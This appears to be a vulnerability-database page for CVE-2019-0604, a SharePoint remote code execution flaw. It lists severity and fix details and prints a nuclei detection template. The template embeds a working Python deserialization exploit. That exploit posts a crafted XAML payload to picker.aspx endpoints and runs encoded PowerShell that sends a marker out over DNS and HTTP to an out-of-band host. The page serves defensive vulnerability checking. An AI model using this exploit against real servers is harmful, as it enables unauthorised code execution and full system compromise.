CVE-2019-0604· microsoft / sharepoint· CWE-20
Microsoft SharePoint - Remote Code Execution
Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.
criticalseverity
9.8CVSS score
99.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
Impact
Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
Fix
Fixed in security update published Feb 12, 2019
How to confirm it
Positive when: contains(interactsh_protocol, "dns") and contains(interactsh_request, hex_encode(marker))Run it with nuclei: nuclei -id CVE-2019-0604 -u <target>
The full check
id: CVE-2019-0604
info:
name: Microsoft SharePoint - Remote Code Execution
author: tree-chtsec,pszyszkowski
severity: critical
description: |
Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package.
impact: |
Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise.
remediation: |
Fixed in security update published Feb 12, 2019
reference:
- https://github.com/Gh0st0ne/weaponized-0604
- https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604
- https://nvd.nist.gov/vuln/detail/cve-2019-0604
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-0604
cwe-id: CWE-20
epss-score: 0.99913
epss-percentile: 0.99968
metadata:
verified: true
vendor: microsoft
product: sharepoint
shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server"
tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln
variables:
OAST: "{{interactsh-url}}"
marker: "{{randbase(5)}}"
code:
- engine:
- py
- python3 #pip install lxml{required}
source: |
import os
import sys
import base64
import argparse
from copy import deepcopy
import urllib3
import requests
import lxml.html
import codecs
from xml.sax.saxutils import escape
urllib3.disable_warnings()
default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:'
part2 = '<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">%s</anyType></MethodParameters><ObjectInstance a:type="XamlReader"></ObjectInstance></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>'
content = '<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:c="clr-namespace:System;assembly=mscorlib" xmlns:d="clr-namespace:System.Diagnostics;assembly=system"> <ObjectDataProvider x:Key="" ObjectType="{x:Type d:Process}" MethodName="Start"> <ObjectDataProvider.MethodParameters> <c:String>%(base)s</c:String> <c:String>%(arg)s</c:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvider> </ResourceDictionary>'
paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx']
host = os.getenv('RootURL')
domain = os.getenv('OAST')
user = os.getenv('username')
pswd = os.getenv('password')
def html_escape(s):
_ = escape(s)
_ = _.replace('"', '"')
return _
def _0604(cmd):
if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution)
_bin, _arg = cmd.split(' ', 1)
else:
_bin = 'cmd'
_arg = '/c ' + cmd
payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg)))
o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload)
return '__bp' + format(len(o), 'x')[::-1] + o
def main():
auth = ''
cmd = 'echo ' + os.getenv('marker')
if (user != None) and (pswd != None):
auth = user + ':' + pswd
ntlm = True
else:
ntlm = False
if host is None:
print("missing target. You must specify -u <url>")
exit(1)
if domain is not None:
print('OOB: "%s" will be executed in POWERSHELL context' % (cmd))
__var_raw = '$a'
__var_hex = '$b'
__dns_code = '''
$bl = %(v_hex)s.length;$l = 60;$i = 0;
while($i -lt $bl) {
$l = if(($bl - $i) -gt $l) { $l } else { $bl - $i };
$v = %(v_hex)s.substring($i, $l);
ping -n 1 "$i.$v.%(domain)s";
$i += $l; }
'''.strip() % dict(domain=domain, v_hex=__var_hex)
__post_code = '''
iwr -Uri %(domain)s -Method post -Body %(v_raw)s;
'''.strip() % dict(domain=domain, v_raw=__var_raw)
__code = '''
%(v_raw)s = %(cmd)s;
$Encode = new-object "System.Text.UTF8Encoding";
$bytearray = $Encode.GetBytes(%(v_raw)s);
%(v_hex)s = "";
Foreach ($i in $bytearray) {
%(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0");
}
'''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex)
__code += __dns_code
__code = base64.b64encode(__code.encode('UTF-16LE')).decode()
cmd = 'powershell -ep bypass -enc %s' % (__code)
print(cmd)
if ntlm:
from requests_ntlm import HttpNtlmAuth
_auth = HttpNtlmAuth(*auth.split(':', 1))
else:
_auth = None
_headers = {'User-Agent': default_ua}
req_kwargs = {
'headers': _headers,
'auth': _auth,
'verify': False
}
def auto_sp_attack(kwargs):
for item in paths:
url = os.getenv('RootURL') + item
# get sharepoint version (2019,2016 / 2013 / 2010)
res = requests.get(url, **kwargs)
spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0'
kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion)
# get viewstate & ev from picker.aspx
if res.status_code != 200:
print('%s failed [%s]' % (item, res.status_code))
continue
else:
break
rt = lxml.html.fromstring(res.content)
spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name')
kwargs['data'] = {
'__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '',
'__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '',
}
payload = _0604(cmd)
kwargs['data'][spandata] = payload
return requests.post(url, **kwargs)
attack_fn = auto_sp_attack
res = attack_fn(deepcopy(req_kwargs))
if all(s in res.text for s in ['"ms-pickerresultheadertr"', 'Administrators, see the server log for more information.']):
print('%s succeded (%s)' % (res.url, res.status_code))
if __name__ == '__main__':
main()
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(interactsh_request, hex_encode(marker))'
condition: andReferences
- https://github.com/Gh0st0ne/weaponized-0604
- https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604
- https://nvd.nist.gov/vuln/detail/cve-2019-0604
Use this check only on systems you are authorised to test. Where the data comes from